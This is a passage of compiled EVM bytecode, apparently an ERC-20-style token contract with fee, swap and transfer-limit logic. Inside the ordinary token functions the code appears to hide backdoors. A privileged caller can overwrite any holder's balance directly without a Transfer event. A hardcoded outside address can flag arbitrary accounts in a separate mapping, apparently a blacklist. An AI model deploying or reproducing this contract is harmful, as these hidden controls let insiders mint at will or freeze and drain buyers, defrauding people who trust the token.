fffffffffffffffffffffffffffffffff1681526020019081526020016000206000601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600860006200062a62000cb560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506200070c601154620006f8601054600f5462000cde60201b6200287e1790919060201c565b62000cde60201b6200287e1790919060201c565b6018819055506200074b6014546200073760135460125462000cde60201b6200287e1790919060201c565b62000cde60201b6200287e1790919060201c565b6019819055506200078a6017546200077660165460155462000cde60201b6200287e1790919060201c565b62000cde60201b6200287e1790919060201c565b601a81905550600160096000620007a662000cb560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160096000602060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160096000620008e260015462000d4160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b60006200094c60015462000d4160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b6000620009b362000cb560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d6000602060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550732175ef1f151760f27f0d272d3c7fd8d053140ec5600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550732175ef1f151760f27f0d272d3c7fd8d053140ec5600460016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601b546006600062000bef62000cad60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555062000c3d62000cad60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef601b5460405162000c9e919062000ef6565b60405180910390a350620012ae565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600080828462000cef919062000f24565b90508381101562000d37576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000d2e9062000ed4565b60405180910390fd5b8091505092915050565b600062000d548262000d5b60201b60201c565b9050919050565b6000819050919050565b82805462000d7390620011c5565b90600052602060002090601f01602090048101928262000d97576000855562000de3565b82601f1062000db257805160ff191683800117855562000de3565b8280016001018555821562000de3579182015b8281111562000de257825182559160200191906001019062000dc5565b5b50905062000df2919062000df6565b5090565b5b8082111562000e1157600081600090555060010162000df7565b5090565b60008151905062000e268162001294565b92915050565b60006020828403121562000e455762000e4462001259565b5b600062000e558482850162000e15565b91505092915050565b62000e69816200117a565b82525050565b600062000e7e601b8362000f13565b915062000e8b826200126b565b602082019050919050565b62000ea181620011ae565b82525050565b600060408201905062000ebe600083018562000e5e565b62000ecd602083018462000e5e565b9392505050565b6000602082019050818103600083015262000eef8162000e6f565b9050919050565b600060208201905062000f0d600083018462000e96565b92915050565b600082825260208201905092915050565b600062000f3182620011ae565b915062000f3e83620011ae565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000f765762000f75620011fb565b5b828201905092915050565b6000808291508390505b600185111562000fd35780860481111562000fab5762000faa620011fb565b5b600185161562000fbb5780820291505b808102905062000fcb856200125e565b945062000f8b565b94509492505050565b600062000fe982620011ae565b915062000ff683620011b8565b9250620010257fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200102d565b905092915050565b6000826200103f576001905062001112565b816200104f576000905062001112565b81600181146200106857600281146200107357620010a9565b600191505062001112565b60ff841115620010885762001087620011fb565b5b8360020a915084821115620010a257620010a1620011fb565b5b5062001112565b5060208310610133831016604e8410600b8410161715620010e35782820a905083811115620010dd57620010dc620011fb565b5b62001112565b620010f2848484600162000f81565b925090508184048111156200110c576200110b620011fb565b5b81810290505b9392505050565b60006200112682620011ae565b91506200113383620011ae565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156200116f576200116e620011fb565b5b828202905092915050565b600062001187826200118e565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006002820490506001821680620011de57607f821691505b60208210811415620011f557620011f46200122a565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b60008160011c9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6200129f816200117a565b8114620012ab57600080fd5b50565b60805160601c614c3a620012d46000396000818161119201526111be0152614c3a6000f3fe6080604052600436106103905760003560e01c8063807c2d9c116101dc578063c49b9a8011610102578063dc44b6a0116100a0578063f2514e881161006f578063f2514e8814610da7578063f2fde38b14610de4578063f872858a14610e0d578063f985622d14610e3857610397565b8063dc44b6a014610ceb578063dd62ed3e14610d16578063f0cd1dac14610d53578063f1d5f51714610d7e57610397565b8063c8607952116100dc578063c860795214610c2d578063c867d60b14610c58578063cab0347114610c95578063da00097d14610cc057610397565b8063c49b9a8014610bae578063c5d2418914610bd7578063c816841b14610c0257610397565b8063a073d37f1161017a578063a83f53a711610149578063a83f53a714610af2578063a9059cbb14610b1d578063c2d4640e14610b5a578063c469b6dd14610b8357610397565b8063a073d37f14610a36578063a08e671f14610a61578063a457c2d714610a8c578063a5d69d1f14610ac957610397565b80638b42507f116101b65780638b42507f1461097a5780638da5cb5b146109b75780639174c79d146109e257806395d89b4114610a0b57610397565b8063807c2d9c146108f957806382eefb431461092457806388790a681461094f57610397565b80633b97084a116102c15780635881f3ef1161025f5780636249faf11161022e5780636249faf11461083f57806370a082311461086857806377f31d03146108a55780637d1db4a5146108ce57610397565b80635881f3ef146107715780635df954ed146107ae57806360efb94f146107eb57806361a23c691461081457610397565b806342efd3701161029b57806342efd370146106b55780634a74bb02146106f257806353fdcf741461071d57806357a5802f1461074657610397565b80633b97084a146106245780633ecad2711461064d57806340b8000a1461068a57610397565b80632563ae831161032e5780632c4b2334116103085780632c4b23341461056a578063313ce5671461059357806335d23615146105be57806339509351146105e757610397565b80632563ae83146104eb57806327c8f835146105145780632b112e491461053f57610397565b80631245e3471161036a5780631245e3471461042d5780631694505e1461045857806318160ddd1461048357806323b872dd146104ae57610397565b806301c6adc31461039c57806306fdde03146103c5578063095ea7b3146103f057610397565b3661039757005b600080fd5b3480156103a857600080fd5b506103c360048036038101906103be9190613eb3565b610e63565b005b3480156103d157600080fd5b506103da610efe565b6040516103e79190614388565b60405180910390f35b3480156103fc57600080fd5b5061041760048036038101906104129190613eb3565b610f90565b6040516104249190614352565b60405180910390f35b34801561043957600080fd5b50610442610fae565b60405161044f91906142ad565b60405180910390f35b34801561046457600080fd5b5061046d610fd4565b60405161047a919061436d565b60405180910390f35b34801561048f57600080fd5b50610498610ffa565b6040516104a591906144aa565b60405180910390f35b3480156104ba57600080fd5b506104d560048036038101906104d09190613e60565b611004565b6040516104e29190614352565b60405180910390f35b3480156104f757600080fd5b50610512600480360381019061050d9190613f53565b6110de565b005b34801561052057600080fd5b50610529611190565b6040516105369190614292565b60405180910390f35b34801561054b57600080fd5b506105546111b4565b60405161056191906144aa565b60405180910390f35b34801561057657600080fd5b50610591600480360381019061058c9190613dc6565b6111f8565b005b34801561059f57600080fd5b506105a86112d1565b6040516105b5919061454f565b60405180910390f35b3480156105ca57600080fd5b506105e560048036038101906105e09190613dc6565b6112e8565b005b3480156105f357600080fd5b5061060e60048036038101906106099190613eb3565b6113c1565b60405161061b9190614352565b60405180910390f35b34801561063057600080fd5b5061064b60048036038101906106469190613f80565b611474565b005b34801561065957600080fd5b50610674600480360381019061066f9190613dc6565b611513565b6040516106819190614352565b60405180910390f35b34801561069657600080fd5b5061069f611533565b6040516106ac91906142ad565b60405180910390f35b3480156106c157600080fd5b506106dc60048036038101906106d79190613dc6565b611559565b6040516106e99190614352565b60405180910390f35b3480156106fe57600080fd5b50610707611579565b6040516107149190614352565b60405180910390f35b34801561072957600080fd5b50610744600480360381019061073f9190613eb3565b61158c565b005b34801561075257600080fd5b5061075b6116b7565b60405161076891906144aa565b60405180910390f35b34801561077d57600080fd5b5061079860048036038101906107939190613dc6565b6116bd565b6040516107a59190614292565b60405180910390f35b3480156107ba57600080fd5b506107d560048036038101906107d09190613dc6565b611c3d565b6040516107e29190614352565b60405180910390f35b3480156107f757600080fd5b50610812600480360381019061080d9190613fad565b611c5d565b005b34801561082057600080fd5b50610829611d3d565b60405161083691906144aa565b60405180910390f35b34801561084b57600080fd5b5061086660048036038101906108619190613ef3565b611d43565b005b34801561087457600080fd5b5061088f600480360381019061088a9190613dc6565b611e7d565b60405161089c91906144aa565b60405180910390f35b3480156108b157600080fd5b506108cc60048036038101906108c79190613ef3565b611ec6565b005b3480156108da57600080fd5b506108e3612000565b6040516108f091906144aa565b60405180910390f35b34801561090557600080fd5b5061090e612006565b60405161091b91906144aa565b60405180910390f35b34801561093057600080fd5b5061093961200c565b60405161094691906144aa565b60405180910390f35b34801561095b57600080fd5b50610964612012565b60405161097191906144aa565b60405180910390f35b34801561098657600080fd5b506109a1600480360381019061099c9190613dc6565b612018565b6040516109ae9190614352565b60405180910390f35b3480156109c357600080fd5b506109cc612038565b6040516109d99190614292565b60405180910390f35b3480156109ee57600080fd5b50610a096004803603810190610a049190613fad565b612061565b005b348015610a1757600080fd5b50610a20612141565b604051610a2d9190614388565b60405180910390f35b348015610a4257600080fd5b50610a4b6121d3565b604051610a5891906144aa565b60405180910390f35b348015610a6d57600080fd5b50610a766121dd565b604051610a8391906144aa565b60405180910390f35b348015610a9857600080fd5b50610ab36004803603810190610aae9190613eb3565b6121e3565b604051610ac09190614352565b60405180910390f35b348015610ad557600080fd5b50610af06004803603810190610aeb9190613f53565b6122b0565b005b348015610afe57600080fd5b50610b07612362565b604051610b1491906144aa565b60405180910390f35b348015610b2957600080fd5b50610b446004803603810190610b3f9190613eb3565b612368565b604051610b519190614352565b60405180910390f35b348015610b6657600080fd5b50610b816004803603810190610b7c9190613fad565b612387565b005b348015610b8f57600080fd5b50610b98612467565b604051610ba591906144aa565b60405180910390f35b348015610bba57600080fd5b50610bd56004803603810190610bd09190613f53565b61246d565b005b348015610be357600080fd5b50610bec612556565b604051610bf991906144aa565b60405180910390f35b348015610c0e57600080fd5b50610c1761255c565b604051610c249190614292565b60405180910390f35b348015610c3957600080fd5b50610c42612582565b604051610c4f91906144aa565b60405180910390f35b348015610c6457600080fd5b50610c7f6004803603810190610c7a9190613dc6565b612588565b604051610c8c9190614352565b60405180910390f35b348015610ca157600080fd5b50610caa6125a8565b604051610cb791906144aa565b60405180910390f35b348015610ccc57600080fd5b50610cd56125ae565b604051610ce29190614352565b60405180910390f35b348015610cf757600080fd5b50610d006125c1565b604051610d0d91906144aa565b60405180910390f35b348015610d2257600080fd5b50610d3d6004803603810190610d389190613e20565b6125c7565b604051610d4a91906144aa565b60405180910390f35b348015610d5f57600080fd5b50610d6861264e565b604051610d7591906144aa565b60405180910390f35b348015610d8a57600080fd5b50610da56004803603810190610da09190613f80565b612654565b005b348015610db357600080fd5b50610dce6004803603810190610dc99190613dc6565b6126f3565b604051610ddb9190614352565b60405180910390f35b348015610df057600080fd5b50610e0b6004803603810190610e069190613dc6565b612713565b005b348015610e1957600080fd5b50610e22612865565b604051610e2f9190614352565b60405180910390f35b348015610e4457600080fd5b50610e4d612878565b604051610e5a91906144aa565b60405180910390f35b600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610efa5780600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050565b606060028054610f0d906147b6565b80601f0160208091040260200160405190810160405280929190818152602001828054610f39906147b6565b8015610f865780601f10610f5b57610100808354040283529160200191610f86565b820191906000526020600020905b815481529060010190602001808311610f6957829003601f168201915b5050505050905090565b6000610fa4610f9d6128dc565b84846128e4565b6001905092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601b54905090565b6000611011848484612aaf565b506110d38461101e6128dc565b6110ce85604051806060016040528060288152602001614bb860289139600760008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006110846128dc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461306c9092919063ffffffff16565b6128e4565b600190509392505050565b6110e66128dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611173576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116a9061444a565b60405180910390fd5b80602060176101000a81548160ff02191690831515021790555050565b7f000000000000000000000000000000000000000000000000000000000000000081565b60006111f36111e27f0000000000000000000000000000000000000000000000000000000000000000611e7d565b601b546130d090919063ffffffff16565b905090565b6112006128dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461128d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112849061444a565b60405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600460009054906101000a900460ff16905090565b6112f06128dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461137d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113749061444a565b60405180910390fd5b80600460016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600061146a6113ce6128dc565b8461146585600760006113df6128dc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461287e90919063ffffffff16565b6128e4565b6001905092915050565b61147c6128dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611509576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115009061444a565b60405180910390fd5b80601e8190555050565b600c6020528060005260406000206000915054906101000a900460ff1681565b600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d6020528060005260406000206000915054906101000a900460ff1681565b602060159054906101000a900460ff1681565b61159461311a565b73ffffffffffffffffffffffffffffffffffffffff16600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156116b357600181141561164f576001600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506116b2565b60008114156116b1576000600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5b5b5050565b60155481565b60006116c76128dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611754576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161174b9061444a565b60405180910390fd5b60008290508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561179f57600080fd5b505afa1580156117b3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117d79190613df3565b73ffffffffffffffffffffffffffffffffffffffff1663e6a43905308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561183957600080fd5b505afa15801561184d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118719190613df3565b6040518363ffffffff1660e01b815260040161188e9291906142c8565b60206040518083038186803b1580156118a657600080fd5b505afa1580156118ba573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118de9190613df3565b9150600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611ac157601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561197d57600080fd5b505afa158015611991573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119b59190613df3565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611a1757600080fd5b505afa158015611a2b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a4f9190613df3565b6040518363ffffffff1660e01b8152600401611a6c9291906142c8565b602060405180830381600087803b158015611a8657600080fd5b505af1158015611a9a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611abe9190613df3565b91505b81602060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160096000602060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d6000602060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050919050565b600e6020528060005260406000206000915054906101000a900460ff1681565b611c656128dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611cf2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ce99061444a565b60405180910390fd5b82600f819055508160108190555080601181905550611d32601154611d24601054600f5461287e90919063ffffffff16565b61287e90919063ffffffff16565b601881905550505050565b60165481565b611d4b6128dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611dd8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dcf9061444a565b60405180910390fd5b60005b83839050811015611e77578160096000868685818110611dfe57611dfd6148be565b5b9050602002016020810190611e139190613dc6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611e6f906147e8565b915050611ddb565b50505050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611ece6128dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611f5b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f529061444a565b60405180910390fd5b60005b83839050811015611ffa578160086000868685818110611f8157611f806148be565b5b9050602002016020810190611f969190613dc6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611ff2906147e8565b915050611f5e565b50505050565b601c5481565b601d5481565b60195481565b60125481565b600b6020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6120696128dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146120f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120ed9061444a565b60405180910390fd5b82601281905550816013819055508060148190555061213660145461212860135460125461287e90919063ffffffff16565b61287e90919063ffffffff16565b601981905550505050565b606060038054612150906147b6565b80601f016020809104026020016040519081016040528092919081815260200182805461217c906147b6565b80156121c95780601f1061219e576101008083540402835291602001916121c9565b820191906000526020600020905b8154815290600101906020018083116121ac57829003601f168201915b5050505050905090565b6000601e54905090565b601a5481565b60006122a66121f06128dc565b846122a185604051806060016040528060258152602001614be0602591396007600061221a6128dc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461306c9092919063ffffffff16565b6128e4565b6001905092915050565b6122b86128dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612345576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161233c9061444a565b60405180910390fd5b80602060166101000a81548160ff02191690831515021790555050565b60175481565b600061237c6123756128dc565b8484612aaf565b506001905092915050565b61238f6128dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461241c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124139061444a565b60405180910390fd5b82601581905550816016819055508060178190555061245c60175461244e60165460155461287e90919063ffffffff16565b61287e90919063ffffffff16565b601a81905550505050565b60115481565b6124756128dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612502576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124f99061444a565b60405180910390fd5b80602060156101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1598160405161254b9190614352565b60405180910390a150565b60105481565b602060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60135481565b60096020528060005260406000206000915054906101000a900460ff1681565b60145481565b602060169054906101000a900460ff1681565b600f5481565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60185481565b61265c6128dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146126e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126e09061444a565b60405180910390fd5b80601d8190555050565b60086020528060005260406000206000915054906101000a900460ff1681565b61271b6128dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146127a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161279f9061444a565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b602060179054906101000a900460ff1681565b60015481565b600080828461288d91906145bf565b9050838110156128d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128c9906143ea565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612954576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161294b9061448a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156129c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129bb906143ca565b60405180910390fd5b80600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051612aa291906144aa565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612b20576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b179061446a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612b90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b87906143aa565b60405180910390fd5b602060149054906101000a900460ff1615612bb757612bb0848484613122565b9050613065565b600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612c5b5750600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612ca657601c54821115612ca5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c9c9061440a565b60405180910390fd5b5b6000612cb130611e7d565b90506000601e548210159050808015612cd75750602060149054906101000a900460ff16155b8015612d2d5750600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015612d455750602060159054906101000a900460ff165b15612d6f57602060169054906101000a900460ff1615612d6557601e5491505b612d6e826132f5565b5b612d78866134e6565b15612e1357612dcf84600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130d090919063ffffffff16565b600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612eb65750600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612eca57612ec5878787613529565b612ecc565b845b9050602060179054906101000a900460ff168015612f345750600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612f6357601d54612f5782612f4989611e7d565b61287e90919063ffffffff16565b1115612f6257600080fd5b5b612fb581600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461287e90919063ffffffff16565b600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161305591906144aa565b60405180910390a3600193505050505b9392505050565b60008383111582906130b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016130ab9190614388565b60405180910390fd5b50600083856130c391906146a0565b9050809150509392505050565b600061311283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061306c565b905092915050565b600033905090565b60006131ad826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461306c9092919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061324282600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461287e90919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa9